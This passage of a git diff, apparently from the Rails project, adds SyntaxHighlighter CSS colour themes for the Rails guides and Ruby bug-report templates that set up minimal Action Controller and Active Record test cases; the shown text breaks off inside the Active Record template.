diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
new file mode 100644
index 0000000..d8b4313
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDjango.css
@@ -0,0 +1,120 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0a2b1d !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #233729 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #497958 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #41a83e !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #41a83e !important;
+  color: #0a2b1d !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #96dd3b !important;
+  background: black !important;
+  border: 1px solid #41a83e !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #41a83e !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #ffe862 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #f8f8f8 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #336442 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #9df39f !important;
+}
+.syntaxhighlighter .keyword {
+  color: #96dd3b !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #96dd3b !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #eb939a !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #91bb9e !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #edef7d !important;
+}
+
+.syntaxhighlighter .comments {
+  font-style: italic !important;
+}
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
new file mode 100644
index 0000000..77377d9
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEclipse.css
@@ -0,0 +1,128 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: white !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #2a00ff !important;
+}
+.syntaxhighlighter .keyword {
+  color: #7f0055 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #7f0055 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .xml .keyword {
+  color: #3f7f7f !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #2a00ff !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
new file mode 100644
index 0000000..dae5053
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeEmacs.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: black !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2a3133 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #990000 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #990000 !important;
+  color: black !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #ebdb8d !important;
+  background: black !important;
+  border: 1px solid #990000 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #990000 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d3d3d3 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .keyword {
+  color: aqua !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #aec4de !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #81cef9 !important;
+}
+.syntaxhighlighter .constants {
+  color: #ff9e7b !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: aqua !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ebdb8d !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff7d27 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #aec4de !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
new file mode 100644
index 0000000..8fbd871
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeFadeToGrey.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: white !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #3185b9 !important;
+  color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3185b9 !important;
+  background: black !important;
+  border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #3185b9 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #898989 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #aaaaaa !important;
+}
+.syntaxhighlighter .constants {
+  color: #96daff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #d01d33 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+  font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
new file mode 100755
index 0000000..f4db39c
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMDUltra.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: lime !important;
+}
+.syntaxhighlighter .gutter {
+  color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #aaaaff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: lime !important;
+}
+.syntaxhighlighter .keyword {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: aqua !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+  color: yellow !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #aaaaff !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
new file mode 100644
index 0000000..c49563c
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeMidnight.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #d1edff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #b43d3d !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
new file mode 100644
index 0000000..6305a10
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRDark.css
@@ -0,0 +1,113 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #5ba1cf !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #5ba1cf !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
new file mode 100644
index 0000000..6d2edb2
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
@@ -0,0 +1,116 @@
+/**
+ * Theme by fxn, took shThemeEclipse.css as starting point.
+ */
+.syntaxhighlighter {
+  background-color: #eee !important;
+  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
+  overflow-y: hidden !important;
+  overflow-x: auto !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #eee !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #eee !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #c3defe !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #eee !important;
+}
+.syntaxhighlighter table caption {
+  color: #222 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #787878 !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #d4d0c8 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #d4d0c8 !important;
+  color: #eee !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #3f5fbf !important;
+  background: #eee !important;
+  border: 1px solid #d4d0c8 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #3f5fbf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #a0a0a0 !important;
+  background: #d4d0c8 !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #a0a0a0 !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #222 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #708090 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #64434d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #646464 !important;
+}
+.syntaxhighlighter .variable {
+  color: #222 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  color: #222 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #222 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .xml .keyword {
+  color: #64434d !important;
+  font-weight: normal !important;
+}
+.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
+  color: #7f007f !important;
+}
+.syntaxhighlighter .xml .string {
+  font-style: italic !important;
+  color: #6588A8 !important;
+}
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
new file mode 100644
index 0000000..9387e3d
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -0,0 +1,47 @@
+# Activate the gem you are reporting the issue against.
+gem 'rails', '4.0.0'
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+  config.root = File.dirname(__FILE__)
+  config.session_store :cookie_store, key: 'cookie_store_key'
+  config.secret_token    = 'secret_token'
+  config.secret_key_base = 'secret_key_base'
+
+  config.logger = Logger.new($stdout)
+  Rails.logger  = config.logger
+
+  routes.draw do
+    get '/' => 'test#index'
+  end
+end
+
+class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
+  def index
+    render text: 'Home'
+  end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+class BugTest < Minitest::Test
+  include Rack::Test::Methods
+
+  def test_returns_success
+    get '/'
+    assert last_response.ok?
+  end
+
+  private
+    def app
+      Rails.application
+    end
+end
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
new file mode 100644
index 0000000..d44fd91
--- /dev/null
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -0,0 +1,53 @@
+unless File.exist?('Gemfile')
+  File.write('Gemfile', <<-GEMFILE)
+    source 'https://rubygems.org'
+    gem 'rails', github: 'rails/rails'
+  GEMFILE
+
+  system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'rails'
+require 'action_controller/railtie'
+
+class TestApp < Rails::Application
+  config.root = File.dirname(__FILE__)
+  config.session_store :cookie_store, key: 'cookie_store_key'
+  config.secret_token    = 'secret_token'
+  config.secret_key_base = 'secret_key_base'
+
+  config.logger = Logger.new($stdout)
+  Rails.logger  = config.logger
+
+  routes.draw do
+    get '/' => 'test#index'
+  end
+end
+
+class TestController < ActionController::Base
+  include Rails.application.routes.url_helpers
+
+  def index
+    render text: 'Home'
+  end
+end
+
+require 'minitest/autorun'
+require 'rack/test'
+
+class BugTest < Minitest::Test
+  include Rack::Test::Methods
+
+  def test_returns_success
+    get '/'
+    assert last_response.ok?
+  end
+
+  private
+    def app
+      Rails.application
+    end
+end
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
new file mode 100644
index 0000000..d72633d
--- /dev/null
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -0,0 +1,40 @@
+# Activate the gem you are reporting the issue against.
+gem 'activerecord', '4.0.0'
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# Ensure backward compatibility with Minitest 4
+Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :posts do |t|
+  end
+
+  create_table :comments do |t|
+    t.integer :post_id
+  end
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
